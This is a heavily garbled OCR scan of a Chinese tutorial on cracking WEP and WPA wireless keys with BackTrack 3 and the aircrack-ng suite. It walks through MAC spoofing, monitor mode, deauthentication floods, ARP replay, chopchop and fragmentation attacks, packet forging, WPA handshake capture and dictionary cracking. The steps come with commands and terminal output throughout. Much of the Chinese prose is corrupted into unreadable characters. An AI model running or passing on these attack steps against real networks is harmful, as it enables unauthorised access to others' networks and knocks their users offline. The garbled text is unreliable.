2% WEP/WPA (32

BT3 Al

+d
AU




h [ H ek itizT B 5
7 ARSI R TIHEA BIA 4 R A A R AT 0 o
AHFEF T2 AR, WESLREEE T AP FET] !

AR
A ANRPEILLILIE http://mww.wlanbbs.com/f] 1D “F 17,
TR ZERPIRARIZ— MR EERN TR, BRIT—EHFES
77 I AREIX AR - VE ARSI B I — AN E R R T WEP
N WPA AR N 2 BRARYE & ALI5 K BFEM B AR RE N
X (BT3BRTL WEP/WPA #7F2).
HTFARABRYIEE, St 2 RERmIR, FHCh A affrE
ERmELZEIR, FESMAKIRIE.
BEAFEREZHIAS 5RHENEENEED, FHEEESE
IEF5EE
RN BEAEAERANED, KW EAL2] www.wianbbs.com #:
I 4R ) FIAT L

gy

F B
0847 H 13 H
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FiX, WEP 74

1. 2if5: IMBX60ZEidA (NE Intel3945 L4 M ). BT3 U #5R4: (F7H sydinux fir 4 kdg & 13

BT3 &)

2. /4. root %M. toor, HEANRIEAIMN: sartx. 350 BT3 5,505 : xconf FHfi A startx)
3. Jn#k 3945 M-RMEEY. F17F 4> shell

| %A modprobe—r iwl3945 % 5k i MR K

| _#A\ modprobeipwraw | inaar T it b 9

iroot@ht: ~# modprobe -r iwl3945
lrootEbt: ~# modprobe ipwraw
lrootEbt: ~# airmon-ng

I Interface Chipset Driver
wifio Centrino asb/fg ipwraw-ng

| root@Ebt: ~# (]

Ve AR A AR 1 BT 2
LINUX 3 3 BESedtA7 ki, 7 LA [lsmod bl A HL 0k rBisk

rootEbt: ~# lsmod

Module ze  Used by

ipwraw
snd_seq_dummy

d seq oss

=

snd_seq_oss
snd_seq_dummy,snd seq o
snd_seq_dummy,snd_seq _oss,s

cr I TRy SR o Ty ]

snd_pcm_pss

commoncap

1p
parport_pc

SRJE AT LA RE imodinfo ipwraw] (Bib4) Sk F Nk ok sh BEb i BRAS
TN ipwraw [ RRAS 2 ipwraw-ng-2.3.4-04022008.tar.bz2 (1] .

dht:~# modinfo ipwraw
= Alib/modules/2.6.21.5/kernel/drivers/net/wireless/ipwraw. ko
GPL
Copyrightic) 2003-2006 Intel Corporation
2.3.4

capability

e B B R B R

Intel(R) PRO/Wireless 3945 Metwork Connection driver for Linux
ITOFSTSAEREEADSDCS9SETS

pci:voar

pci:viol

Anywhere WLAN! 3
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BoH A BT WS rate S [IM [¥EE fr44 ilweonfig wifio rate 1M|

XASRAS (YR B S FF 3945 Tok MR RS DI AR IE, ar R

iwconfig wifi0 txpower 16 (TXPOWER A {48 % & (i min=-12 and max=16, H.{% dBm)
24 on/off AT LT FFRIC I RS HLIG, auto M fixed $8 7 L2215 H Bhik £ R 4 Th %

T BRI SR T iy i S A R A BRI R ARG I, v A DT n A B

4. EHRHEF:

A LA firodump-ng wifio k18 %

Scanning for targets

8 1[ Elapsed: 44 s ][ 2 -26 15:42

PUR Beacons  #Data, /s CH MB ENC CIPHER AUTH ESSID
0 149 0 0 11 11, UEP UEP
0 163 0 0 11 54, OPN
0 131 0 6 11. UEP LEP
0 40 0 6 11, UEP IEP
0 77 0 1 11, UEP

STATION PUR Rate Lost Pa s Probes
00 —— 40 00 a 0-0 0 A1 HETGEAR, ACOM

e W R UR EERE Y AP 1) MAC F1 SSID 3B A7 & 15 A % ) i A5 e il FIXEEE RS, TR M
PR o ARSI T2 SRR AU RN 0 — B AR 1 Do

A EFEE—AMER BFS, channel 2 11 C ) CH AREAF1E)

E: B A TR MAC HhEf A4

BIA macchanger -m 00:11:22:33:44:55 wifi(]

|l 5 Shell - Konsole <2>
root@bt:~# macchanger -m 08:11:22:33:44:55 wifid

Current MAC: 0@:11:22: 4. Inc)

Faked MAC: 00:11:22: 44

It's the same MAC!!
root@ht:~# |

5. BEM-ER Monitor R TAEE 11 EE. gk, Sk, TIEE 11 E5E)

i\ airmon-ng start wifi0 11 |t 77 i fweonfi wifio]k 55 W+ 1t T AR T (5 il

Anywhere WLAN! 4
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root@bt:~# airmon-ng start wifio 11

Interface Chipset Driver

wifi@ Centrino a/b/g ipwraw-ng (monitor mode enabled)
= ===

root@bt:# iwconfig -a

-3 No such device

root@bt:-# iwconfig
no wireless extensions.

no wireless extensions.

unassociated ESSID:off/any
Mode:Monitor Channel=12 Bit Rate=1 Mb/s

raahin' ~# alreplay-ng -9 rausb0
1 Trying broad probe requests...
Injection is working!
Found 2 APs

‘default’
Ping (min/avg/max): 0.031ms/49.625ms/112.006ms Power:
4/30: 13%

B@:90:4C:7E:00:64 - channel: 11 - Uwel!
Ping Im fmax): 0.041ms/57.806ms/116.811ns Power:
11/30:

rootebt:~# |
6. MABIREBIEEAS GRI 10 5HEM ivs B, FHR1E4 A nameivs)

| HA#4  airodump-ng

(--ivs: fUEEN ivs Bl AL, -w: BASCPE, -c: X ivs FIfE1E)
(Forh name 2RI ivs AR SO 245, 11 /& channel (B, FRARPE SEFRE SO

rootight:~# iwconfig
no wireless extensions.

no wireless extensions.

unassociated ESSID:off/any
Mode:Monitor Channel=12 Bit Rate=1 Mb/s

no wireless extensions.

root@ht:~# airodump-ng --ivs -w 12345 -c 11 wifig[]

Anywhere WLAN! 5
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—. B i WEP Wfig

1. B, BAEEEPWEARERTRNIEE, EEREGRE IVS.
BHi: 1-6 2H L
7. H#EH aircrack-ng Bl fiR

£t \ aircrack-ng -n 64 -b <ap mac> name-Ol.ivs‘

2. BEEPY, BEEPWAREEEDE ivs HIE, IEEREABENESEKRE ivs.
B /DR r] RE3RAT arp WRkAL, AT H] arp v AR -3 AR Uil ik AN ) AP i
[FIFER) arp i KA, REEATEA RS
B 1-6 R E

7. J aireplay-ng 1] arp i A5 53R K ivs

Bt \aireplay-ng -3 -b <ap mac> -h <& % mac> wifid

CH 11 ][ Elapsed: & mins ][ 2008-05-19 08:48

BS5ID FPWR RXDQ Beacons #Data, #/s (CH MB ENC
B0:99:4C:7E: 0064 g B0 3795 BG4 5 11 48 WEP
BS5ID STATION PWR.  Rate Lost Packets

00:90:4C:7E:00:64 00:14:78:71:22:EB 5 06-0 3] 8137 P9

Shell - Konsole <2>

Fuc{@ht:ﬁ# aireplay-ng -3 h 0O904cTe0nsd -h 0014787122eh wifin
The interface MAC (08:11:22:33:44:55) doesn't match The specified P

ifconfig wifid hw ether 00:14:78:71:22:EB
Waiting for beacon frame (BSSID: 80:90:4C:7E:08:64) on ch

tqaf 7] APP rﬂqu
=] lan 0 ARP requ
Pe4d 1“ packets ch o AFP reque

XAl AR, BV RS E) ARP,
3. AF i, HEZFWIRANERRE, FEe=4E ARP &, -3IEABEANET)
B 1-6 ML

7. -0 MRBEA SRR VAR P AN ap HEHE, A2 HRTIA

8. FI-0 oM E B H BT LR T4 1k-3 R34 %01 ARP M 5é /% ARP I EA

Bt \aireplay-ng -3 -b <ap mac> -h <& % mac> wifid

Anywhere WLAN! 6
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I\ ‘aireplay-ng -0 10 —a <ap mac> -c <F¥EZ P mac> wifio

BSSID FWR RX0Q Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:90:4C:TFE: Q@ ¢ 0 9f ? i B 11 48 WEP WEP shuwel
BSSID STATION PWR Rate Lost Packets Probes

A0:90:4C:7E:00:64 00:14:78:71:22:EB ] g- o 4] shuwei

Shell - I(unsule -:3:-

5 C (-h).

= fl:::'EE
an hﬂ con Trame i uD 99:4C: FE:00:64) on channel 11
s in replay arp-05 g

sent @ packets...(@ pps)

e y-ng 54 -.c 0014787122eb wifid
he interface MAC (00:1B:77:1C:1C:5F) d 't match the specified MAC (-h].
ifconfig wifi@ hw ether @0:14:78:7 2: EE
[9:06:00 Waiting for beacon frame (BSSID: C:7E:00:64) on channel 11
: this attack is more effective when Tarqetlnq
a connected wirel client (-c =client's mac=].
5:00  Sending DeAuth to broadcast -- BSSID: [00:90:4C:7E:00:64]
5:01 Sending Deduth to broa : '
65:01 Sending DehAuth to br
9:06:02 Sending DedAuth to

Anywhere WLAN! 7
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A FEFW, HEEFREF AR arp BIE 0 BRI
T P02 BB

I\ modprobe—r iwl3945

%I\ modprobe ipwraw

‘fﬁﬁ)\ airmon-ng start wifio 1ﬂ

DiAE, HE-—Aarmfiae, A

I\ wesside-ng -i wifi0 -v 01:02:03:04:05:06 (A% = ff1 APMAC). |

de-ng -1 wifi@ -v OO : KNSR | O
Using mac 00; I
WARNING: Appending in wep.cap
Looking for a victim...
Found SSID(Viaeal®: ) BSS=( 00 MuelNC: ) chan=1
Authenticated
Associated (ID=84)
Datalen 54 Known clear 22
4] Got 22 bytes of prga IV=(77:2e:ae) PRGA=EO 40 EA 3F 1E (5 5C E5 E:
i DB CF 44 31 AA ED 14 8A BA Al
Got ARP request from (00 : NGEEEENDI: 1F)
ing PRGA Se (IP b 31)

sing PRGA Se (IP by
nsuccessful

S5e [IP b
unsuccessful
g PRGA 5e (IP byte=31)
Stopping crack PID=18084
Gu g PRGA 5e (IP byte=31)
Starting crack PID=19544
Guessing PRGA 5e (IP byte=31)

i4:56:73:90

[89:44:58]
Dwned in 23.92 minu

[09: Dying. ..

Stopping crack PID=19544

99:44:58] KEY=(12:34:56:78:90)
in 23.92 minutes

[69:44:58]) Dying...
rootabt:~# |

Wesside-ng iX M iy 2 Sz it & — -5 AT, fragmentation #4351 A, -Sarp i, o PTW A fiix

AR

Anywhere WLAN! 8
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To% P IS WEP B #
B 1-6 3 b
Bl T 0, LU B A SR AP Z A .
BRI 5. ik AP BERHARAL, WAUE ] CRI R AP . WA XA R, FAR AP
5 W AT IR K ROE OB, IVS BB R 272k

#w-H: WA areplay-ng-10-e<ap essid> -a <ap mac> -h < mac> wifiQ

3 Shell - K le -:3:-

ruut@flluv 41erT4f - -luﬂ. n“?'. - .,. : —
15:51:54 Waiting for beacon frame IEESID I"IEI:_:UI (A0 on -:'uar|r|-=-1 11

15:51:54 Sending Authentication Request (Open System) [ACK]
15:51:54 Authentication successful

15:51:54 Sending Association Request [ACK]

15:51:54 Association successful :-)

rootebt:~# ||

W R RO RE AN, AR IR AR, BARE Wt J LR
1. HFs AP#T MAC Hiikid j&

2. PRE H AR AP P EEEE B K

3. XTAEH] T WPA i

5. M. AP HREAIEER, B BAT TR AP —FE ) AR AITE

e A AN essid W55 essid SR LLhn, ‘jack chen’ .

REFAEL A R AT e T 2k

1. HEK —e XN SH NI

2. B R fr s A O A T IR

\Iwconfig wifiO rate ZM\

root@ht:~# iwconfig raush@ rate 2ZM
root@ht:~# iwconfig raushd
raushn RT2500USE WLAN ESSID:"" Nickname:™"
Mode:Monitor Frequency=2.412 GHz Bit Rate=2 Mh/s
RTS thr:off Fragment thr:off
Encryption key:
Link Quality=0/100 5Signal lewvel:-120 dBm MNoise level:-100 dBm
Rx invalid nwid:@ Rx invalid crypt:®@ Rx invalid frag:@
Tx excessive retries:0 Invalid misc:® Missed beacon:0

rootbt: ~# ||

SR : rate JaHIERIERAER, AT MERBCEMERE . 5 FAL M a2l K
5

Anywhere WLAN! 9
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] DU FH 4 topdump SRR R O 4 IE% 2 H ik AP L

\tcpdump -n -e-50 -vwv -i wifi0

She" -Knnsnle

Waiting for beacon frame (BSSID: 080:1D:0F:2A:D5:3C) on 'hqnn-ﬂ

ndlnq Authentication Request (Open System) [ACK]

too‘rﬂﬁ ~# tcpdump -n -e -5 @ -wvwv -1
tcpdump: WARNING: wifi: no IF'u-l addre
tepdump: 1 ning on wi
1:04,516927 Ous B
2 0% GoEw 11,

559530 dus P.H ff:ff: ff
i A Be:1d:0f:2

Anywhere WLAN!
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1. B—P s

B 1-73FE

N REPUER A BN -2 R R, RS TINENRIREE, RO A =MEE
FI\F: I, SRR m B

\aireplay-ng -2 -p 0841 -c ff:ff:ff:ff.ff:ff -b <ap mac> -h <my mac> Wifid
RALRIN G oI A3 2B 10 ivs, 4R )5 H aircrack-ng i i .

CH 6 1[ Elapsed: 5 mins 1[
BSSID PWR RXD eacons #Data, #/s (CH MB ENC CIPHER AUTH ESSID

00:10:0F: 2A:05:3C 0] y 3042 16364 402 & 54. WEP WEP OPN  TP-LINK
00:90:4C:7E:00:64 -1 y ) 8 0 65 -1 WEP WEP =length:

Shell - Kunsnla =3=

root@bt:~# aireplay-ng -2 -p 8841 -c : b _h 801b771c1c5F wifil
Read 30 packets...

Size: 68, FromDs: 1, ToDS: @ (WEP)

BSSID A0 10:0F: 2A:05:3C
Dest. MAC FF:FF:FF:FF:FF:FF
Source MAC A0 10:0F: 2A:05:3C

Ox0000: 08342 0000 ffff oold af2a
BxE018: 0 Bfza d53c al32 43ee 0700 efel f
Ox0020: a49a dO35 3457 add4 3ebe do2c ddea
Bx0030: fFES 49b1 lcad 19de 200 ¢ efel
Bx0040 4703

00N

Ln

Use this packet 7 y

Saving chosen packet in replay src-0519-093134.cap
You should also start alrodump-ng to capture replies

1499 Pps| i

R b AR T AT A B T N B AL, IR Use this packet, 1% [y R )5 TG
KB, date ®Puik. 3R H ivs LU BUal g T .

Anywhere WLAN! 11
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2. B msE T K

B 1-73F*E

55\ FIH-5 W Bri iRk AS — AN vl I 2 2 8 2 B0 SCfF (xor S

EILE s ARG B I R Packetforge-ng $EHX xor S ) PRGA thits—AN arp £4,
400 R RAA A2 R .

B|INF: R BIEEERIA-5, 45— PRGA Hdli . (xor 3L

I aireplay-ng -5 -b <ap mac> -h <my mac> wifig

W], 438 —AFT RT3 (i B, R4 Usethispacket ? A 10178, K358 —A %
RE L xor 3. X LR xor SCAREAIRATHISR ™ /E arp Hdli ..

Shall - Konsole <2=

a LLL MILL
er,

3 keystreas

« of a !-.J_T Streas

25 of a keystream

of a keystreas

< of a keystream

g out of that 1500 bytes

PN Is BE 400 H %, UREEEDINIA AR — a4 xor (30

Anywhere WLAN! 12
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- Kenasla <2

BIE: AR EHIER )y packetforge-ng K LR AH 1) PRGA Hudls t thits slonl M) ARP AL
JCTAR BT AL H b AP EHT) HE 6L, 2 AP T HBIN, —ANBTI IVS R ™A, AT A T IS R

\fﬁﬁ)\ packetforge-ng -0 -a <ap mac> -h <my mac> -k 255.255.255.255 —| 255.255.255.255 -y\

lhame-xor -w myarp

S

-y (filename) J&HIKiHL PRGA 1314

-w  (filename) ¥ arp (L5 ANSCHE, TR BISCHF 4 2 myarp

Sl Komioks < s

Z4:n 1 : Wrote packet to: mrarp

Anywhere WLAN! 13
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Bt RAXEHEA-2, KEBEAL,

B aireplay-ng -2 -rmyarp -x 256 raush(

[-r]: MR ESCHF R arp Hidlatl
(-x): 5@ SCRERD AR (s Bl . O JBE G k) R AENL, T idE 256, i AN 1024

YN VIRCERE G

Anywhere WLAN! 14
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Shall - Kenaola <=

L)

SR @ »| il shel - konsole ol Shell - Konaehs 2= .IM._i_j: al = EB:EE

I, T 6L 5 1 1) data R

CH 6 ][ Elapsed: 14 mins ][ 2007-12-16 20.zz
BSSID { ! 1S = ( ENC

. WEP
WEP
WEP
4. OPN

OPN
4, WEP
4. WEP
4. OPN
4. OPN
4. WEP

| hg WO
(SRt g ]

L

SR - ]

Packe

FIEAR AR 1.5 77 PA I
$+—¥: XH aircrack-ng R#ATHEE

Anywhere WLAN!

rzt

CIPHER AUTH ESSID

WEP
WEP
WEP

WEP
WEP

WEP

Pr

OPN

placofi,
TP-LINK

51Testing
TP - LINKE
dlink
gth:
TP-LINK

NETGEAR

15
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3. FB=RmfE K

B 1-73F*E

%)\ FIH-4 1) Chopchop Bt X3R5 —A o] FH 6 5 8 g 50 S (xor 324D
S I HE G R Packetforge-ng HEEX xor SCAE ) PRGA fhid— > arp 1,
00 B RIAAH B -2 R BT

F)\P: KH-4 1 Chopchop Hraiti k5 AN & 3 B8R (1 xor St

‘ﬁﬁ)\ aireplay-ng -4 -b <ap mac> -h <my mac> Wifid

ZHUL :
-b: VBT LR AP 1) mac
-h: WEHTEEMN LMK mac (HAEMFR)

root@t:~# aireplay-ng -4 -b 001d8f2ad53c -h 001122334455 rausb
B87:51:30 Waiting for hﬂjrnn frame (BSSID: 08:1D:0F:2A:D5:3C) on channel
Read 52 packets. ..

)S: B, ToDs: 1 (WEP)
00:10: 8F:
0010 8F:
00:15;: AF : 9A: DA: 5rI

0849 2c00 001d 0f2a d53c 0015 af9a
Bald 0f2a d53c 00ce 81lbl a200 :

d7d3 8136 4245 9b35 de3b &dof
0: alle 3544 d5aa lelb 9bf4
OxA040: ef8c f2e9 leald 930 1h13

Use this packet 7 |}

% done) | xor = 87 | pt = 4 31 frames written in
35 (95% done) | xor = 36 | pt = @0 233 frames written in
current guess: ASQ...

The AP appears to drop packets shorter than 35 bytes.
Enabling standard workaround: IP header re-creation.

Saving plaintext in replay_dec-8523-075615.cap
Savi stream in replay dec-0523-075615. xor

79s

- F)ﬁééu —AN4% 2k replay_dec-0523-075615 [ xor (4,

Anywhere WLAN! 16
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BHP: WA HIERLYT Packetforge-ng #2811l xor SCAF KAy 1E—AN arp 4
\fﬁﬁ)\ packetforge-ng -0 -a <ap mac> -h <my mac> -k 255.255.255.255 —| 255.255.255.255 -y

lhame-xor -w myarp

rootebt: ~# pécketfurge-ng -0 -a 801def2ad53c -h 001122334455 -k 255.255.255.255
-1 255.255.255.255 -y replay dec-0523-075615.x0r -w myarp
Wrote packet to: myarp

rootbt: ~# ||

n BB, )R AN R myarp (RTRT SR arp £ 4.
Bt BRI B2 RO,

I\ aireplay-ng -2 -r myarp raush(

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH

00:1D:0F:2A:05:3C 32 45 9 8534 249 6 54. WEP WEP 0PN
BB

myarp rausb@
pecified. Using the device MAC (08:11:22:33:44:55)

: @, ToDS: 1 (WEP)

BSSID 00:10:0F: 2A:05:3C
Dest. MAC FF:FF:FF:FF:FF:FF
Source MAC 00:11:22:33:4

Bx0000: 0841 0201 001d Of2: OB11 2233 44 i S Hox
0x0010: fTfff ffff ffff 8 01b1 2200 beld elB5 . .....vusieis
y 20 3 8130 0744 931d 12c4 2d%e eB71

d3 f7b2 994a 9d9b 1dd7

e33d

- .(499 pps)

R T ARG myarp (9HCRL, Jicy I, SCAREASGE. Date sk
NI 2 3R 2% 1) Tivs S8 5 FLECH airerack 2EAT A6 fi

Anywhere WLAN! 17
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VE: TEREEICR SR IIH R Ze 5 2B 6 AP, 2R T AR AT B AR LN
date L4 0o XN AT LIRSS 11 DU 3 s it 20 i 22
1. B g M -RALE LSS B 015 5 0
- FETE AN AR R A 2 IR T -1 R
3. fE-2 BRI HINA-F 24 (Eﬂzbﬁﬁ%xakﬁﬂEﬁiﬁﬁ%ﬁiﬂiff&f)\liﬂi) LURN VIR

1[PF_|-|-|I.I —~ —
144 packets

SRIG R AT LA B8 E R, SR T DRI IR B AN E date C&WKB LT T

4. TEAf SN A SRR RO N B g, AR 5 A — A T LT BALE S 4 —
BN DER BRI L AP, TEEHS R b U R N SR IR IR, ARBEAE A A
i, o HBLEAEIRI 1P Mk SXHsAR B ATk (0 5T 25 3045 — A AT T v AL
P, My sEElE AT

Anywhere WLAN! 18
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PIEE WEP Bi#

R AHRENTE WEP I A7 pstoin ey SOT A = TR RGeS = B P uE Py AR, A
Wzl ) i AV U7 17) s AT I . TGRSR ST ARG “TEIRE ", Pk sz B A 24T 56
UE——LAFSE B “TREAE”, 1 AP WAVE A EYIE R IEM, 56 “2N T, Hig% ap XKIEHY]
FETTIER, Yo R RVFIRA——RX MR UE T 1 ap, (EAEVRBEMERA N, HOTDOER:, (Hn R
PANIER, =Bl W7, B PIRAERHeR K—28, AR RIGIE, iR sl (AP) I WEP
IV R BREAT W Y o U R AR B ISR L B B R B R 1), WSZ R 23 K o W R AR AT IR K WEP %
i, Win] AR50, R SRV DI, JERIL P ARG, WIS YIANER, T8 S H R “ 1%
W AR TR 7

AI$R: PULE WEP RN RER S¥EL&R%E T
UL I WEP A RERE -1 BERE R, (RIERE S BERDE BRI AR 2T I PR, WP B3R,

lrootiEht:~# aireplay-ng -1 @ -e Shuwei -a 00904c7e0864 -h 001122334455 raush@
[09:26:26 Waiting for beacon frame (BSSID: 00:90:4C:7E:00:64) on channel 11

109:26:26 Sending Authentication Request (Open System)

Sﬂﬁaing Authenticat
Authentication 1/2 succe
You should specif ;
Trying fragmented shared key fake auth.
| Sending encrypted challenge.
j09: 25! Challenge failure
M T IIE 5 WEP I AN R, DRI WEP Bl 200 A %5 ) i, o2 ) i AN REREA T I
SRR AR 7 ORI It WEP B i 1) S 2 — FEI

1. IEEBEEM-RF IR
2. WMIANBIREHEATS HIL FiEMivsEdE®, FHRAF 4 Anameivs)
‘?ﬁi)\ﬁﬁé\ airodump-ng --ivs -w name -c 11 wifi0 \

(--ivs: IAEHVvsEHEAL, -w: G, - #iivsiIfEiED
(JErF name f2 3R R ivs IOORAFSCAFIA% 7, 11 & channel {B, ARARYE SERRMEHO

IR A7~ STATION R — NSk % i, AUTH R s SKA S THL=E WEP fin‘s 5 x8
CH 11 11 Elap-s--:d: 18 mins ][ 2008-07-14 09:39

BSSID FWR RXO Beacons #Data, #'s CH MB ENC CIFHER AUTH ESSID
QE:90:4C.TE: 0064 47 1@ 10865 3079 12 11 54 WEP WEP SK&  Shuwei
BSSID STATION PWR Rate Lost Packets Probes

OE:90:4C:JE: 0064  @@:1B: 77 1C: 1C:5F 82 24- 0] 20407  Shuwel

Anywhere WLAN! 19
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ﬁﬁ%ﬁﬂﬁ%ﬁ:

3. H aireplay-ng ] arp 3 EA

\aireplay-ng -3-b <ap mac> -h <A¥EE F % mac> wifid

e -h JE PR VER b 1) MAC ik

I N B B OREA
CH 11 1[ Elapsed: 18 mins ][ 2008-07-14 09:39
BSSID PWR RX0DQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:90:4C:7E:00:64 47 100 10865 23079 ? 11 54 WEP WEP SKA  Shuwed
BSSID STATION .  Rate Lost Packets Probes

AA:90:AC:7E:00:64 00:1R:77:1C: 1C:5F ;24 0 20407 Shuweil

Tu_c:n’rlg rausb@ hw ether I.'Jrl 18:7
'n'ai’rinq for beacon frame | F_hh-IIZ'
in replay arp-0714-

239 ARP reque
t 301 ARP reql
t 334 ARP reql

Ve X DA RE (A K —nd, RO A B ATV E A ARP,

HEN I 234 R 1 dvs SR )5 B aircrack SHAT iR
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s e

3 -2 REBEHERAEAN

‘aireplay-ng -2 -p 0841 -c ff:ff.ff:ff.ff:ff -b <ap mac> -h <F¥ER P ¥ mac> Wifid

e -h SR G52 ) MAC Ml

I N BB OREAN
CH 11 1[ Elapsed: 22 mins |[ 2008-07-14 09:43
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ES5ID
QO:90:4C:FE:00:64 47 100 13060 6553 2 11 54 WEP WEP SKA  Shuwei
BS5ID STATION ] late s  Probes

Shuwei

=115 4:55) doesn't match the specified MAC (-h].
ifconfig ra ther 00:1B:77:1C:1C:5F
Read 6 packets...

S: 0, TaD5: 1 (WEP)
BSSID

Dest, MAC
Source MAC

0. 90 E:00:64
V14 E:FO:AC
V1B L1010 BF

0841 2cO0 0090 AcTe 9064 001b
0014 &3 :
gdef
735h

bebs

L0 I T T - Y < E N

Use this packet 7 yi]

TN IR 23R A3 L1 ivs S5 B3 aircrack BEAT
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Wi =

UL b 250 B T % P i O EL P s e 2R i B R I 0, (HU AT I AP A7 %% P i b, HR AN
M ANGE A BT TN SR Lo S IR AT AR -0 SR S B e He A 4 T AE-3 1
ARP 715 35 88-2 A2 HE N T7 3R T A ARP T ZE A o

PR

CH 11 ][ Elapsed: 1 min ][ 2008-07-14 10:13 ][ Broken SKA: 00:90:4C:7E:00:64

BSSID PWR RXD Beacons #Data, #/s CH MB ENC CIPHER AUTH ES
AE:98:4C: TE: 00 64 48 100 B2 i3 B 11 54 WEP WEP SKA 5
BSSID STATION PWR Rate Lost Packets Probes

B0:90:4C:FE: 0064 @8;1B:77:1C: 1C:5F i 36 . 571 Shuwel

root@bt:~# aireplay-ng -0 3 -a 00904c7e006d -c 801b771c1c5F rausho
10:13:25 Waiting for beacon frame ): B@:90:4C:7E:00:64) on channel 11
10:13:25 Sending 64 directed DeAuth. STMAC: [00:1B:77:1C:1C:5F] [ O] 0 ACKs]
1:'-' Sending 64 directed DeAuth. STMAC: [08:1B:77:1C:1C:5F] [ O] 0 A_ .
Sending 64 directed DeAuth. STMAC: [00:1B:77:1C:1C:5F] [ @] @ AC

-0 MBS I, -2 A AR ARG EAR . W FE PR

root@bht:~# aireplay-ng -2 -p 0841 -c -b 00984c7=0064 -h 001b771clcST rausho
The interface MAC (08:11:22:33:44:55]) doesn't match the specified MAC [-hJ.

ifconfig raushb® hw ether 80:1B:77:1C:1C:5F
Read 6 packets...

15: @, ToDS: 1 (WEP)
BSSID

Dest, MAC
Source MAC

090 4C; TFE Q0 ¢
3E:
o g | e

Ox00080: @084 el 0098 4cde ”UH4 AR1h 771c 1lcsf
B3¢ T01c 0d 2d0f ; ?”4 45H
134l 04d8 4add
5d92 b517 cllc Ofas he
Aa7l f5de habhs 919 1c73
il A G225 cabf e3dl 5déb 163f
Ox0860: 4921 F 489 1bf5 2ccd 5234

Use this packet ?

Saving chosen p: t in replay_src-0714-094316.cap
You should also s i

Eent 121867 packets...(499 pps)
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B A JE e D -
RFAIKINE, FELE-1 RN I 5 DL

lrootiEht:~# aireplay-ng -1 @ -e Shuwei -a 00904c7e0864 -h 001122334455 raush@
109:26:26 Waiting for beacon frame (BSSID: 80:90:4C:7E:00:64) on channel 11

ending Authentication Reguest (Open System)
witching to shared key authentication

:wndlnq hufhanfl'qflcn Request (Shared Key)

Authentication 1/2 successful

You should 'pﬁrlTh a xor file (-y) with at least 148 keystreambytes
Trying fragmented shared key fake auth.

Sending encrypted challenge.

Challenge failure

You sheould specify a xor file (-y) with at least 148 keystreanbytes

PRI RO BT E ] -y S8R e ML S IR T,

AR TELI AR AT WPA Hh 48 T )8k 07 20— R, SRAT-0 phoiat, 3Rk45—1>LL AP MAC b 44 1) xor
o SRIGAE-1 AL HEAE B IN i e XM o

SR JE R -5 i v Buiiis N Bty , packetforge-ng #4it ARP 7 ANEL, ARJ5-2 A MIISRIF 21 ivs T
TR o

AR —HAT-0 Mo, SESISNRGESE, DA BRI R T, XA WA TR .
SRS T AR TR, R OK s b A B
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WPA R VR 41 #UE

W WPA HIHTHR: DWRERSELLRE ) i

WPA T fiff F) SR B«

H F Deauthd iE Sriti o i BEom B EAVETCE % i SAPRE ST, B i AWLAN Il 5, 1X A6k
By B R ERNERBIAP L, EXANEIEE RS, FeREGES=4 T, AR5 R Hai rodumpfiiZk
— AN A S LR i Y AR TRk RE, 2B — AN DU R T Ifcap . 285 PRI - k1T 54 )
T it o

1. WEMF, HFERTETIEE

%irmon—ng start wifi0 1ﬂ

2. #HRIEERcaptl, FH{RFFcap A123.cap

%irodump—ng -w 123 —c 11 wifid

CH 11 ][ Elapsed: 2 mins ][ 2008-06-06 00:25

BSS PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:90:4C: 7E:00: 64 @ 100 1441 3 6 11 48 WPA TKIP PSK shuwel

BSSID STATION PWR Rate Lost Packets Probes

iT7E:00:64 00:16:B6:9D:10:AD : 0- @ 1] 163
AT LLE R TWPAINSE 7K, If HAA—N0016b69d10ad &2 1 62k %5 ) b o

3. #ATDeauthBib Ay, MRFIBTIT GVATLLE M MMAPH B AVER, MHEFTIER
laireplay-ng -0 10 -a <ap mac> -¢c <my mac> wifi(

fiRE: -OfR 12 R X Deautenti cate X il J5 2, J I A AR K. -clEBUAZAE, R, XA iR
FRT A S 00 B8 P52 1) L (% ) e MAAC i

CH 11 ][ Elapsed: 9 mins ][ 2008-06-06 00:32 ][ WPA handshake: 00:90:4C:7E:00:64

BSSID PWR RXQ Beacons #Data, #/s (H MB ENC CIPHER AUTH ESSID
00:90:4C:7E:00:64 0 B89 557 994 1 11 48 WPA TKIP PSK shuwei
BSSID STATION PWR Rate Lost Packets Probes

00:90:;4C:7E:00:64 00:16:B6:90D:10:AD 0 G- 0 ) 28 shuwel

t:~# aireplay-ng -0 10 -a 00904c7e0064 -c 00 wifi@
Waiting for beacon frame (BS 190:4C: 7E: | on channel 11
Sending Defuth to station  -- C: [00:16: :10:AD]
Sending DeAuth to station -- STMAC: [00:16: +10:AD]
Sending DeAuth to station  -- STMAC: [0€ :10:AD]
Sending DeAuth to station -- STMAC: [00:16:B6:9D:108:AD]

TR LT (05 ~CJr 1 4T G2 e P M MACHL
Deauthli i FEE I A S — Uk, R B % AT (WIPABLR 1] S5 54 Dataiks 1
U7, BN AL S WPAAYR T I E AL A T ) AR I th B R P2 (6 2503
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CH 11 1[ Elapsed: 8 mins 1[ 2008-86-06 88:31 ][ WPA handshake: 08:90:4C:7E:00:64

BSSID PWR RX0Q Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:90:4C;TE:00: 64 0 1o0 4825 820 @ 11 48 WPA TKIP PSK shuwei

BSSID STATION PWR  Rate Lost Packets Probes

00:90:4C:7E:00:64 00:16:B6:90:10:AD 0 0- 0 i] 2772 shuwei
XN A SR A\ dirsgh 7T LAfEroot H sk N 6 31 44 4 123.caplfi 8 T T .

73 248 T LA J5 ek vT DA S 3 e m e

T JeH fEwindows I ] 8T B AR RO - gt (i password.ixt) #% U1 #root H 5%
FEBT35LIAA il systemdh J HHEL F A

E» WD) | & systemy
R TEE
—-blr‘
s DoOE

+ gl dev =R

& + -..'.:r_l;_ — -

g home
kg liD
= mint

1
T
g opt
=
T

-

T g pEntest
g proC

x Eru:u:-t

--f-n'n

OF T TR

5TV

e ST

B el 4t oot Hsg, B PP EAE A O T IT UG G BRI REAME AL 701X T o T RLHEAAE
oy XA UL, AR5 HE A root H A BRI . T T R Z0 (3 4

EF om0, | JToot

) B

e i o A
& boot fi—

) dEV Desktop sample_scripts 123.cap fssid bet: password bt
= etc — Bpr—————

>
g home

i lib

fe

+

